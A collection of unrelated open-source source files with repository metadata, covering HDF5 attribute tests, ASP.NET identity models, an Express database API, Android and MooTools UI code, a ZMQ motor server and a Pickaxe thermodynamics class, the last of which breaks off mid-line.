dataset.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); dataset.Attributes.Delete(attribute1); Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; dataset = group.Datasets[0]; attibutes = dataset.Attributes; Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void AllAttributeTypesOnFile() { string fileName = GetFilename("allattributetypesonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); file.Attributes.Add("attributea", "test"); sbyte b = sbyte.MaxValue; file.Attributes.Add("attributeb", b); Int16 c = Int16.MaxValue; file.Attributes.Add("attributec", c); Int32 d = Int32.MaxValue; file.Attributes.Add("attributed", d); Int64 e = Int64.MaxValue; file.Attributes.Add("attributee", e); byte f = Byte.MaxValue; file.Attributes.Add("attibutef", f); UInt16 g = UInt16.MaxValue; file.Attributes.Add("attributeg", g); UInt32 h = UInt32.MaxValue; file.Attributes.Add("attibuteh", h); UInt64 i = UInt64.MaxValue; file.Attributes.Add("attributei", i); float j = float.MaxValue; file.Attributes.Add("attibutej", j); double k = double.MaxValue; file.Attributes.Add("attributek", k); Assert.AreEqual(11, file.Attributes.Count); file.Close(); file = new Hdf5File(fileName); var attibutes = file.Attributes; Assert.AreEqual(11, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual(sbyte.MaxValue, attribute2.Value); var attribute3 = attibutes[2]; Assert.AreEqual(Int16.MaxValue, attribute3.Value); var attribute4 = attibutes[3]; Assert.AreEqual(Int32.MaxValue, attribute4.Value); var attribute5 = attibutes[4]; Assert.AreEqual(Int64.MaxValue, attribute5.Value); var attribute6 = attibutes[5]; Assert.AreEqual(byte.MaxValue, attribute6.Value); var attribute7 = attibutes[6]; Assert.AreEqual(UInt16.MaxValue, attribute7.Value); var attribute8 = attibutes[7]; Assert.AreEqual(UInt32.MaxValue, attribute8.Value); var attribute9 = attibutes[8]; Assert.AreEqual(UInt64.MaxValue, attribute9.Value); var attribute10 = attibutes[9]; Assert.AreEqual(float.MaxValue, attribute10.Value); var attribute11 = attibutes[10]; Assert.AreEqual(double.MaxValue, attribute11.Value); } [Test] public void UpdateAllAttributeTypesOnFile() { string fileName = GetFilename("updateallattributetypesonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); var atta = file.Attributes.Add("attributea", "test"); atta.Value = "test2"; file.Attributes.Update(atta); sbyte b = sbyte.MaxValue; var attb = file.Attributes.Add("attributeb", b); attb.Value = sbyte.MinValue; file.Attributes.Update(attb); Int16 c = Int16.MaxValue; var attc = file.Attributes.Add("attributec", c); attc.Value = Int16.MinValue; file.Attributes.Update(attc); Int32 d = Int32.MaxValue; var attd = file.Attributes.Add("attributed", d); attd.Value = Int32.MinValue; file.Attributes.Update(attd); Int64 e = Int64.MaxValue; var atte = file.Attributes.Add("attributee", e); atte.Value = Int64.MinValue; file.Attributes.Update(atte); byte f = Byte.MaxValue; var attf = file.Attributes.Add("attibutef", f); attf.Value = Byte.MinValue; file.Attributes.Update(attf); UInt16 g = UInt16.MaxValue; var attg = file.Attributes.Add("attributeg", g); attg.Value = UInt16.MinValue; file.Attributes.Update(attg); UInt32 h = UInt32.MaxValue; var atth = file.Attributes.Add("attibuteh", h); atth.Value = UInt32.MinValue; file.Attributes.Update(atth); UInt64 i = UInt64.MaxValue; var atti = file.Attributes.Add("attributei", i); atti.Value = UInt64.MinValue; file.Attributes.Update(atti); float j = float.MaxValue; var attj = file.Attributes.Add("attibutej", j); attj.Value = float.MinValue; file.Attributes.Update(attj); double k = double.MaxValue; var attk = file.Attributes.Add("attributek", k); attk.Value = double.MinValue; file.Attributes.Update(attk); Assert.AreEqual(11, file.Attributes.Count); file.Close(); file = new Hdf5File(fileName); var attibutes = file.Attributes; Assert.AreEqual(11, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("test2", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual(sbyte.MinValue, attribute2.Value); var attribute3 = attibutes[2]; Assert.AreEqual(Int16.MinValue, attribute3.Value); var attribute4 = attibutes[3]; Assert.AreEqual(Int32.MinValue, attribute4.Value); var attribute5 = attibutes[4]; Assert.AreEqual(Int64.MinValue, attribute5.Value); var attribute6 = attibutes[5]; Assert.AreEqual(byte.MinValue, attribute6.Value); var attribute7 = attibutes[6]; Assert.AreEqual(UInt16.MinValue, attribute7.Value); var attribute8 = attibutes[7]; Assert.AreEqual(UInt32.MinValue, attribute8.Value); var attribute9 = attibutes[8]; Assert.AreEqual(UInt64.MinValue, attribute9.Value); var attribute10 = attibutes[9]; Assert.AreEqual(float.MinValue, attribute10.Value); var attribute11 = attibutes[10]; Assert.AreEqual(double.MinValue, attribute11.Value); } } }
sharpHDF/sharpHDF
src/sharpHDFTests/Objects/Hdf5AttributeTests.cs
C#
mit
23,622
using System.Security.Claims; using System.Threading.Tasks; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.EntityFramework; using Microsoft.AspNet.Identity.Owin; namespace UniversityStudents.Models { // You can add profile data for the user by adding more properties to your ApplicationUser class, please visit http://go.microsoft.com/fwlink/?LinkID=317594 to learn more. public class ApplicationUser : IdentityUser { public async Task<ClaimsIdentity> GenerateUserIdentityAsync(UserManager<ApplicationUser> manager, string authenticationType) { // Note the authenticationType must match the one defined in CookieAuthenticationOptions.AuthenticationType var userIdentity = await manager.CreateIdentityAsync(this, authenticationType); // Add custom user claims here return userIdentity; } } public class ApplicationDbContext : IdentityDbContext<ApplicationUser> { public ApplicationDbContext() : base("DefaultConnection", throwIfV1Schema: false) { } public static ApplicationDbContext Create() { return new ApplicationDbContext(); } } }
twabbott/FeralNerd
Projects/AspDemo/UniversityStudents/Models/IdentityModels.cs
C#
mit
1,238
const express = require('express'); const app = express(); const path = require('path'); const userCtrl = require('./userCtrl.js'); //extra middleware const bodyParser = require('body-parser'); app.use(bodyParser.urlencoded({extended: true}), bodyParser.json()); app.use(express.static(path.join(__dirname, '../../node_modules/'))); app.use(express.static(path.join(__dirname, '../client/'))); app.post('/requestDB', userCtrl.sendTableList); app.post('/requestTable', userCtrl.sendTable); app.post('/createTable', userCtrl.createTable); app.post('/insert', userCtrl.insertEntry); app.post('/update', userCtrl.updateEntry); app.post('/delete', userCtrl.deleteEntry); app.post('/query', userCtrl.rawQuery); app.post('/dropTable', userCtrl.dropTable); app.listen(3000, ()=> console.log('listening on port 3000'));
dbviews/dbview
src/server/server.js
JavaScript
mit
814
package com.wjiec.learn.reordering; public class SynchronizedThreading { private int number = 0; private boolean flag = false; public synchronized void write() { number = 1; flag = true; } public synchronized int read() { if (flag) { return number * number; } return -1; } }
JShadowMan/package
java/concurrency-arts/src/main/java/com/wjiec/learn/reordering/SynchronizedThreading.java
Java
mit
357
<?php namespace Torchbox\Thankq\Api; class doContactInsert { /** * @var esitWSdoContactInsertArgument $doContactInsertArgument */ protected $doContactInsertArgument = null; /** * @param esitWSdoContactInsertArgument $doContactInsertArgument */ public function __construct($doContactInsertArgument) { $this->doContactInsertArgument = $doContactInsertArgument; } /** * @return esitWSdoContactInsertArgument */ public function getDoContactInsertArgument() { return $this->doContactInsertArgument; } /** * @param esitWSdoContactInsertArgument $doContactInsertArgument * @return \Torchbox\Thankq\Api\doContactInsert */ public function setDoContactInsertArgument($doContactInsertArgument) { $this->doContactInsertArgument = $doContactInsertArgument; return $this; } }
mrhorse/crm_api
lib/Api/doContactInsert.php
PHP
mit
894
package eu.hgross.blaubot.android.views; import android.content.Context; import android.graphics.drawable.Drawable; import android.os.Handler; import android.os.Looper; import android.util.AttributeSet; import android.view.View; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import java.util.ArrayList; import java.util.List; import java.util.Map.Entry; import java.util.Set; import eu.hgross.blaubot.admin.AbstractAdminMessage; import eu.hgross.blaubot.admin.CensusMessage; import eu.hgross.blaubot.android.R; import eu.hgross.blaubot.core.Blaubot; import eu.hgross.blaubot.core.IBlaubotConnection; import eu.hgross.blaubot.core.State; import eu.hgross.blaubot.core.acceptor.IBlaubotConnectionManagerListener; import eu.hgross.blaubot.core.statemachine.IBlaubotConnectionStateMachineListener; import eu.hgross.blaubot.core.statemachine.states.IBlaubotState; import eu.hgross.blaubot.messaging.IBlaubotAdminMessageListener; import eu.hgross.blaubot.ui.IBlaubotDebugView; /** * Android view to display informations about the StateMachine's state. * * Add this view to a blaubot instance like this: stateView.registerBlaubotInstance(blaubot); * * @author Henning Gross {@literal (mail.to@henning-gross.de)} * */ public class KingdomView extends LinearLayout implements IBlaubotDebugView { private Handler mUiHandler; private Blaubot mBlaubot; private Context mContext; public KingdomView(Context context, AttributeSet attrs) { super(context, attrs); initView(context); } public KingdomView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); initView(context); } private void initView(Context context) { this.mContext = context; mUiHandler = new Handler(Looper.getMainLooper()); } private final static String NO_CENSUS_MESSAGE_SO_FAR_TEXT = "Got no census message so far"; private void updateUI(final CensusMessage censusMessage) { mUiHandler.post(new Runnable() { @Override public void run() { final List<View> stateItems = new ArrayList<>(); if(censusMessage != null) { final Set<Entry<String, State>> entries = censusMessage.getDeviceStates().entrySet(); for(Entry<String, State> entry : entries) { final String uniqueDeviceId = entry.getKey(); final State state = entry.getValue(); View item = createKingdomViewListItem(mContext, state, uniqueDeviceId); stateItems.add(item); } } // Never got a message if(stateItems.isEmpty()) { TextView tv = new TextView(mContext); tv.setText(NO_CENSUS_MESSAGE_SO_FAR_TEXT); stateItems.add(tv); } removeAllViews(); for(View v : stateItems) { addView(v); } } }); } /** * Creates a kingdom view list item * * @param context the context * @param state the state of the device to visualize * @param uniqueDeviceId the unique device id * @return the constructed view */ public static View createKingdomViewListItem(Context context, State state, String uniqueDeviceId) { final Drawable icon = ViewUtils.getDrawableForBlaubotState(context, state); View item = inflate(context, R.layout.blaubot_kingdom_view_list_item, null); TextView uniqueDeviceIdTextView = (TextView) item.findViewById(R.id.uniqueDeviceIdLabel); TextView stateTextView = (TextView) item.findViewById(R.id.stateLabel); ImageView iconImageView = (ImageView) item.findViewById(R.id.stateIcon); iconImageView.setImageDrawable(icon); uniqueDeviceIdTextView.setText(uniqueDeviceId); stateTextView.setText(state.toString()); return item; } private IBlaubotConnectionManagerListener mConnectionManagerListener = new IBlaubotConnectionManagerListener() { @Override public void onConnectionClosed(IBlaubotConnection connection) { } @Override public void onConnectionEstablished(IBlaubotConnection connection) { } }; private IBlaubotConnectionStateMachineListener mBlaubotConnectionStateMachineListener = new IBlaubotConnectionStateMachineListener() { @Override public void onStateChanged(IBlaubotState oldState, final IBlaubotState state) { if(State.getStateByStatemachineClass(state.getClass()) == State.Free) { updateUI(null); } } @Override public void onStateMachineStopped() { updateUI(null); } @Override public void onStateMachineStarted() { } }; private IBlaubotAdminMessageListener connectionLayerAdminMessageListener = new IBlaubotAdminMessageListener() { @Override public void onAdminMessage(AbstractAdminMessage adminMessage) { if(adminMessage instanceof CensusMessage) { updateUI((CensusMessage) adminMessage); } } }; /** * Register this view with the given blaubot instance * * @param blaubot * the blaubot instance to connect with */ @Override public void registerBlaubotInstance(Blaubot blaubot) { if (mBlaubot != null) { unregisterBlaubotInstance(); } this.mBlaubot = blaubot; this.mBlaubot.getConnectionStateMachine().addConnectionStateMachineListener(mBlaubotConnectionStateMachineListener); this.mBlaubot.getChannelManager().addAdminMessageListener(connectionLayerAdminMessageListener); this.mBlaubot.getConnectionManager().addConnectionListener(mConnectionManagerListener); // update updateUI(null); } @Override public void unregisterBlaubotInstance() { if(mBlaubot != null) { this.mBlaubot.getConnectionStateMachine().removeConnectionStateMachineListener(mBlaubotConnectionStateMachineListener); this.mBlaubot.getChannelManager().removeAdminMessageListener(connectionLayerAdminMessageListener); this.mBlaubot.getConnectionManager().removeConnectionListener(mConnectionManagerListener); } // force some updates updateUI(null); } }
Blaubot/Blaubot
blaubot-android/src/main/java/eu/hgross/blaubot/android/views/KingdomView.java
Java
mit
6,132
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("17.July.02.Harvest")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("17.July.02.Harvest")] [assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("b8294d81-675a-43f5-bf13-a79537f648ad")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
kalinmarkov/SoftUni
Programming Basic/ProgrammingBasic-EXAMS/17.July.02.Harvest/Properties/AssemblyInfo.cs
C#
mit
1,412
#!/usr/bin/env python # -*- coding: utf-8 -*- import zmq from zmq.eventloop import ioloop as ioloop_mod import zmqdecorators import time SERVICE_NAME = "urpobot.motor" SERVICE_PORT = 7575 SIGNALS_PORT = 7576 # How long to wait for new commands before stopping automatically COMMAND_GRACE_TIME = 0.250 class motorserver(zmqdecorators.service): def __init__(self, service_name, service_port, serialport): super(motorserver, self).__init__(service_name, service_port) self.serial_port = serialport self.input_buffer = "" self.evthandler = ioloop_mod.IOLoop.instance().add_handler(self.serial_port.fileno(), self.handle_serial_event, ioloop_mod.IOLoop.instance().READ) self.last_command_time = time.time() self.pcb = ioloop_mod.PeriodicCallback(self.check_data_reveived, COMMAND_GRACE_TIME) self.pcb.start() def check_data_reveived(self, *args): if (time.time() - self.last_command_time > COMMAND_GRACE_TIME): self._setspeeds(0,0) def _setspeeds(self, m1speed, m2speed): self.serial_port.write("S%04X%04X\n" % ((m1speed & 0xffff), (m2speed & 0xffff))) @zmqdecorators.method() def setspeeds(self, resp, m1speed, m2speed): self.last_command_time = time.time() #print("Got speeds %s,%s" % (m1speed, m2speed)) self._setspeeds(m1speed, m2speed) # TODO: actually handle ACK/NACK somehow (we need to read it from the serialport but we can't block while waiting for it...) resp.send("ACK") def handle_serial_event(self, fd, events): # Copied from arbus that was thread based if not self.serial_port.inWaiting(): # Don't try to read if there is no data, instead sleep (yield) a bit time.sleep(0) return data = self.serial_port.read(1) if len(data) == 0: return #print("DEBUG: data=%s" % data) # Put the data into inpit buffer and check for CRLF self.input_buffer += data # Trim prefix NULLs and linebreaks self.input_buffer = self.input_buffer.lstrip(chr(0x0) + "\r\n") #print "input_buffer=%s" % repr(self.input_buffer) if ( len(self.input_buffer) > 1 and self.input_buffer[-2:] == "\r\n"): # Got a message, parse it (sans the CRLF) and empty the buffer self.message_received(self.input_buffer[:-2]) self.input_buffer = "" def message_received(self, message): #print("DEBUG: msg=%s" % message) try: # Currently we have no incoming messages from this board pass except Exception as e: print "message_received exception: Got exception %s" % repr(e) # Ignore indexerrors, they just mean we could not parse the command pass pass def cleanup(self): print("Cleanup called") self._setspeeds(0,0) def run(self): print("Starting motorserver") super(motorserver, self).run() if __name__ == "__main__": import serial import sys,os port = serial.Serial(sys.argv[1], 115200, xonxoff=False, timeout=0.01) instance = motorserver(SERVICE_NAME, SERVICE_PORT, port) instance.run()
HelsinkiHacklab/urpobotti
python/motorctrl.py
Python
mit
3,257
from rest_framework import serializers from . import models class Invoice(serializers.ModelSerializer): class Meta: model = models.Invoice fields = ( 'id', 'name', 'additional_infos', 'owner', 'creation_date', 'update_date', )
linovia/microinvoices
microinvoices/invoices/serializers.py
Python
mit
281
using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; namespace Izzo.Collections.Immutable { [DebuggerDisplay( "Count = {Count}" )] public sealed partial class ImmutableList<T> : IImmutableList<T> { public static readonly ImmutableList<T> Empty = new ImmutableList<T>(); private readonly List<T> items; private ImmutableList() { this.items = new List<T>(); } private ImmutableList( IEnumerable<T> items ) { if( items is ImmutableList<T> ) { var otherList = items as ImmutableList<T>; this.items = otherList.items; } else { this.items = new List<T>( items ); } } private ImmutableList( List<T> items, bool noAlloc ) { if( noAlloc ) { this.items = items; } else { this.items = new List<T>( items ); } } public T this[int index] { get { return items[index]; } } public int Count { get { return items.Count; } } public bool IsEmpty { get { return Count == 0; } } public ImmutableList<T> Add( T item ) { var newList = new ImmutableList<T>( items ); newList.items.Add( item ); return newList; } public ImmutableList<T> AddRange( IEnumerable<T> range ) { var newList = new ImmutableList<T>( items ); newList.items.AddRange( range ); return newList; } public ImmutableList<T> Set( int index, T item ) { var newList = new ImmutableList<T>( items ); newList.items[index] = item; return newList; } public ImmutableList<T> Clear() { return Empty; } public IEnumerator<T> GetEnumerator() { return items.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return items.GetEnumerator(); } public int IndexOf( T item, int startIndex, int count, IEqualityComparer<T> equalityComparer ) { for( int i = startIndex; i < startIndex + count; i++ ) { if( equalityComparer.Equals( item, items[i] ) ) { return i; } } return -1; } public ImmutableList<T> Insert( int index, T item ) { var newList = new ImmutableList<T>( items ); newList.items.Insert( index, item ); return newList; } public ImmutableList<T> Remove( T item, IEqualityComparer<T> equalityComparer ) { int idx = IndexOf( item, 0, Count, equalityComparer ); if( idx >= 0 ) { return RemoveAt( idx ); } return this; } public ImmutableList<T> Remove( T item ) { return Remove( item, EqualityComparer<T>.Default ); } public ImmutableList<T> RemoveAt( int index ) { var newList = new ImmutableList<T>( items ); newList.items.RemoveAt( index ); return newList; } public bool Contains( T item ) { return items.Contains( item ); } public T Find( Predicate<T> match ) { return items.Find( match ); } public ImmutableList<T> FindAll( Predicate<T> match ) { return new ImmutableList<T>( items.FindAll( match ), true ); } public int FindIndex( Predicate<T> match ) { return items.FindIndex( match ); } IImmutableList<T> IImmutableList<T>.Add( T item ) { return Add( item ); } IImmutableList<T> IImmutableList<T>.AddRange( IEnumerable<T> items ) { return AddRange( items ); } IImmutableList<T> IImmutableList<T>.SetItem( int index, T item ) { return Set( index, item ); } IImmutableList<T> IImmutableList<T>.Clear() { return Clear(); } IImmutableList<T> IImmutableList<T>.Insert( int index, T item ) { return Insert( index, item ); } IImmutableList<T> IImmutableList<T>.RemoveAt( int index ) { return RemoveAt( index ); } IImmutableList<T> IImmutableList<T>.FindAll( Predicate<T> match ) { return FindAll( match ); } IImmutableList<T> IImmutableList<T>.Remove( T value, IEqualityComparer<T> equalityComparer ) { return Remove( value, equalityComparer ); } } }
SuperIzzo/Unity3D-Immutable-Collections
Assets/Collections/Immutable/ImmutableList_1.cs
C#
mit
5,038
module Models class TimeStamp attr_accessor :sec attr_accessor :usec end end
Ruhrpottpatriot/WarframeApi
app/api/models/time_stamp.rb
Ruby
mit
88
class Users::SessionsController < Devise::SessionsController layout :layout def presign end def layout if params[:no_layout].present? return false else return 'user' end end end
sleepinglion/anti-kb
app/controllers/users/sessions_controller.rb
Ruby
mit
215
exports.find = function(options) { options || (options = {}); options.param || (options.param = 'query'); options.parse || (options.parse = JSON.parse); return function(req, res, next) { var query = req.query[options.param]; var conditions = query ? options.parse(query) : {}; req.find = req.model.find(conditions); next(); }; }; exports.limit = function(options) { options || (options = {}); options.param || (options.param = 'limit'); return function(req, res, next) { if (req.query[options.param] !== undefined) { var limit = parseInt(req.query[options.param], 10); if (options.max) { limit = Math.min(limit, options.max); } req.find = req.find.limit(limit); } next(); }; }; exports.skip = function(options) { options || (options = {}); options.param || (options.param = 'skip'); return function(req, res, next) { if (req.query[options.param] !== undefined) { var skip = parseInt(req.query[options.param], 10); req.find = req.find.skip(skip); } next(); }; }; exports.select = function(options) { options || (options = {}); options.param || (options.param = 'select'); options.delimiter || (options.delimiter = ','); return function(req, res, next) { if (req.query[options.param] !== undefined) { var select = req.query[options.param].split(options.delimiter).join(' '); req.find = req.find.select(select); } next(); }; }; exports.sort = function(options) { options || (options = {}); options.param || (options.param = 'sort'); options.delimiter || (options.delimiter = ','); return function(req, res, next) { if (req.query[options.param] !== undefined) { var sort = req.query[options.param].split(options.delimiter).join(' '); req.find = req.find.sort(sort); } next(); }; }; exports.exec = function() { return function(req, res, next) { req.find.exec(function(err, results) { if (err) return next(err); req.results = results; next(); }); }; }; exports.count = function(options) { options || (options = {}); options.param || (options.param = 'query'); options.parse || (options.parse = JSON.parse); return function(req, res, next) { var query = req.query[options.param]; var conditions = query ? options.parse(query) : {}; req.model.count(conditions, function(err, count) { if (err) return next(err); req.count = count; next(); }); }; };
scttnlsn/emt
lib/query.js
JavaScript
mit
2,776
// MooTools: the javascript framework. // Load this file's selection again by visiting: http://mootools.net/more/f0c28d76aff2f0ba12270c81dc5e8d18 // Or build this file again with packager using: packager build More/Assets More/Hash.Cookie /* --- script: More.js name: More description: MooTools More license: MIT-style license authors: - Guillermo Rauch - Thomas Aylott - Scott Kyle - Arian Stolwijk - Tim Wienk - Christoph Pojer - Aaron Newton - Jacob Thornton requires: - Core/MooTools provides: [MooTools.More] ... */ MooTools.More = { 'version': '1.4.0.1', 'build': 'a4244edf2aa97ac8a196fc96082dd35af1abab87' }; /* --- script: Assets.js name: Assets description: Provides methods to dynamically load JavaScript, CSS, and Image files into the document. license: MIT-style license authors: - Valerio Proietti requires: - Core/Element.Event - /MooTools.More provides: [Assets] ... */ var Asset = { javascript: function(source, properties){ if (!properties) properties = {}; var script = new Element('script', {src: source, type: 'text/javascript'}), doc = properties.document || document, load = properties.onload || properties.onLoad; delete properties.onload; delete properties.onLoad; delete properties.document; if (load){ if (typeof script.onreadystatechange != 'undefined'){ script.addEvent('readystatechange', function(){ if (['loaded', 'complete'].contains(this.readyState)) load.call(this); }); } else { script.addEvent('load', load); } } return script.set(properties).inject(doc.head); }, css: function(source, properties){ if (!properties) properties = {}; var link = new Element('link', { rel: 'stylesheet', media: 'screen', type: 'text/css', href: source }); var load = properties.onload || properties.onLoad, doc = properties.document || document; delete properties.onload; delete properties.onLoad; delete properties.document; if (load) link.addEvent('load', load); return link.set(properties).inject(doc.head); }, image: function(source, properties){ if (!properties) properties = {}; var image = new Image(), element = document.id(image) || new Element('img'); ['load', 'abort', 'error'].each(function(name){ var type = 'on' + name, cap = 'on' + name.capitalize(), event = properties[type] || properties[cap] || function(){}; delete properties[cap]; delete properties[type]; image[type] = function(){ if (!image) return; if (!element.parentNode){ element.width = image.width; element.height = image.height; } image = image.onload = image.onabort = image.onerror = null; event.delay(1, element, element); element.fireEvent(name, element, 1); }; }); image.src = element.src = source; if (image && image.complete) image.onload.delay(1); return element.set(properties); }, images: function(sources, options){ sources = Array.from(sources); var fn = function(){}, counter = 0; options = Object.merge({ onComplete: fn, onProgress: fn, onError: fn, properties: {} }, options); return new Elements(sources.map(function(source, index){ return Asset.image(source, Object.append(options.properties, { onload: function(){ counter++; options.onProgress.call(this, counter, index, source); if (counter == sources.length) options.onComplete(); }, onerror: function(){ counter++; options.onError.call(this, counter, index, source); if (counter == sources.length) options.onComplete(); } })); })); } }; /* --- name: Hash description: Contains Hash Prototypes. Provides a means for overcoming the JavaScript practical impossibility of extending native Objects. license: MIT-style license. requires: - Core/Object - /MooTools.More provides: [Hash] ... */ (function(){ if (this.Hash) return; var Hash = this.Hash = new Type('Hash', function(object){ if (typeOf(object) == 'hash') object = Object.clone(object.getClean()); for (var key in object) this[key] = object[key]; return this; }); this.$H = function(object){ return new Hash(object); }; Hash.implement({ forEach: function(fn, bind){ Object.forEach(this, fn, bind); }, getClean: function(){ var clean = {}; for (var key in this){ if (this.hasOwnProperty(key)) clean[key] = this[key]; } return clean; }, getLength: function(){ var length = 0; for (var key in this){ if (this.hasOwnProperty(key)) length++; } return length; } }); Hash.alias('each', 'forEach'); Hash.implement({ has: Object.prototype.hasOwnProperty, keyOf: function(value){ return Object.keyOf(this, value); }, hasValue: function(value){ return Object.contains(this, value); }, extend: function(properties){ Hash.each(properties || {}, function(value, key){ Hash.set(this, key, value); }, this); return this; }, combine: function(properties){ Hash.each(properties || {}, function(value, key){ Hash.include(this, key, value); }, this); return this; }, erase: function(key){ if (this.hasOwnProperty(key)) delete this[key]; return this; }, get: function(key){ return (this.hasOwnProperty(key)) ? this[key] : null; }, set: function(key, value){ if (!this[key] || this.hasOwnProperty(key)) this[key] = value; return this; }, empty: function(){ Hash.each(this, function(value, key){ delete this[key]; }, this); return this; }, include: function(key, value){ if (this[key] == undefined) this[key] = value; return this; }, map: function(fn, bind){ return new Hash(Object.map(this, fn, bind)); }, filter: function(fn, bind){ return new Hash(Object.filter(this, fn, bind)); }, every: function(fn, bind){ return Object.every(this, fn, bind); }, some: function(fn, bind){ return Object.some(this, fn, bind); }, getKeys: function(){ return Object.keys(this); }, getValues: function(){ return Object.values(this); }, toQueryString: function(base){ return Object.toQueryString(this, base); } }); Hash.alias({indexOf: 'keyOf', contains: 'hasValue'}); })(); /* --- script: Hash.Cookie.js name: Hash.Cookie description: Class for creating, reading, and deleting Cookies in JSON format. license: MIT-style license authors: - Valerio Proietti - Aaron Newton requires: - Core/Cookie - Core/JSON - /MooTools.More - /Hash provides: [Hash.Cookie] ... */ Hash.Cookie = new Class({ Extends: Cookie, options: { autoSave: true }, initialize: function(name, options){ this.parent(name, options); this.load(); }, save: function(){ var value = JSON.encode(this.hash); if (!value || value.length > 4096) return false; //cookie would be truncated! if (value == '{}') this.dispose(); else this.write(value); return true; }, load: function(){ this.hash = new Hash(JSON.decode(this.read(), true)); return this; } }); Hash.each(Hash.prototype, function(method, name){ if (typeof method == 'function') Hash.Cookie.implement(name, function(){ var value = method.apply(this.hash, arguments); if (this.options.autoSave) this.save(); return value; }); });
donatj/CorpusPHP
Source/js/mootools.more.js
JavaScript
mit
7,181
"""Basic thermodynamic calculations for pickaxe.""" from typing import Union import pint from equilibrator_api import ( Q_, ComponentContribution, Reaction, default_physiological_ionic_strength, default_physiological_p_h, default_physiological_p_mg, default_physiological_temperature, ) from equilibrator_api.phased_reaction import PhasedReaction from equilibrator_assets.compounds import Compound from equilibrator_assets.local_compound_cache import LocalCompoundCache from equilibrator_cache.compound_cache import CompoundCache from pymongo import MongoClient from sqlalchemy import create_engine from minedatabase.pickaxe import Pickaxe class Thermodynamics: """Class to calculate thermodynamics of Pickaxe runs. Thermodynamics allows for the calculation of: 1) Standard ∆G' of formation 2) Standard ∆G'o of reaction 3) Physiological ∆G'm of reaction 4) Adjusted ∆G' of reaction eQuilibrator objects can also be obtained from r_ids and c_ids. Parameters ---------- mongo_uri: str URI of the mongo database. client: MongoClient Connection to Mongo. CC: ComponentContribution eQuilibrator Component Contribution object to calculate ∆G with. lc: LocalCompoundCache The local compound cache to generate eQuilibrator compounds from. """ def __init__( self, ): # Mongo params self.mongo_uri = None self.client = None self._core = None # eQ params self.CC = ComponentContribution() self.lc = None self._water = None def load_mongo(self, mongo_uri: Union[str, None] = None): if mongo_uri: self.mongo_uri = mongo_uri self.client = MongoClient(mongo_uri) else: self.mongo_uri = "localhost:27017" self.client = MongoClient() self._core = self.client["core"] def _all_dbs_loaded(self): if self.client and self._core and self.lc: return True else: print("Load connection to Mongo and eQuilibrator local cache.") return False def _eq_loaded(self): if self.lc: return True else: print("Load eQulibrator local cache.") return False def _reset_CC(self): """reset CC back to defaults""" self.CC.p_h = default_physiological_p_h self.CC.p_mg = default_physiological_p_mg self.CC.temperature = default_physiological_temperature self.CC.ionic_strength = default_physiological_ionic_strength def load_thermo_from_postgres( self, postgres_uri: str = "postgresql:///eq_compounds" ) -> None: """Load a LocalCompoundCache from a postgres uri for equilibrator. Parameters ---------- postgres_uri : str, optional uri of the postgres DB to use, by default "postgresql:///eq_compounds" """ self.lc = LocalCompoundCache() self.lc.ccache = CompoundCache(create_engine(postgres_uri)) self._water = self.lc.get_compounds("O") def load_thermo_from_sqlite( self, sqlite_filename: str = "compounds.sqlite" ) -> None: """Load a LocalCompoundCache from a sqlite file for equilibrator. compounds.sqlite can be generated through LocalCompoundCache's method generate_local_cache_from_default_zenodo Parameters ---------- sqlite_filename: str filename of the sqlite file to load. """ self.lc = LocalCompoundCache() self.lc.load_cache(sqlite_filename) self._water = self.lc.get_compounds("O") def get_eQ_compound_from_cid( self, c_id: str, pickaxe: Pickaxe = None, db_name: str = None ) -> Union[Compound, None]: """Get an equilibrator compound for a given c_id from the core. Attempts to retrieve a compound from the core or a specified db_name. Parameters ---------- c_id : str compound ID for MongoDB lookup of a compound. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str Database to look for compound in before core database, by default None. Returns ------- equilibrator_assets.compounds.Compound eQuilibrator Compound """ # Find locally in pickaxe compound_smiles = None if pickaxe: if c_id in pickaxe.compounds: compound_smiles = pickaxe.compounds[c_id]["SMILES"] else: return None # Find in mongo db elif self._all_dbs_loaded(): if db_name: compound = self.client[db_name].compounds.find_one( {"_id": c_id}, {"SMILES": 1} ) if compound: compound_smiles = compound["SMILES"] # No cpd smiles from database name if not compound_smiles: compound = self._core.compounds.find_one({"_id": c_id}, {"SMILES": 1}) if compound: compound_smiles = compound["SMILES"] # No compound_smiles at all if not compound_smiles or "*" in compound_smiles: return None else: eQ_compound = 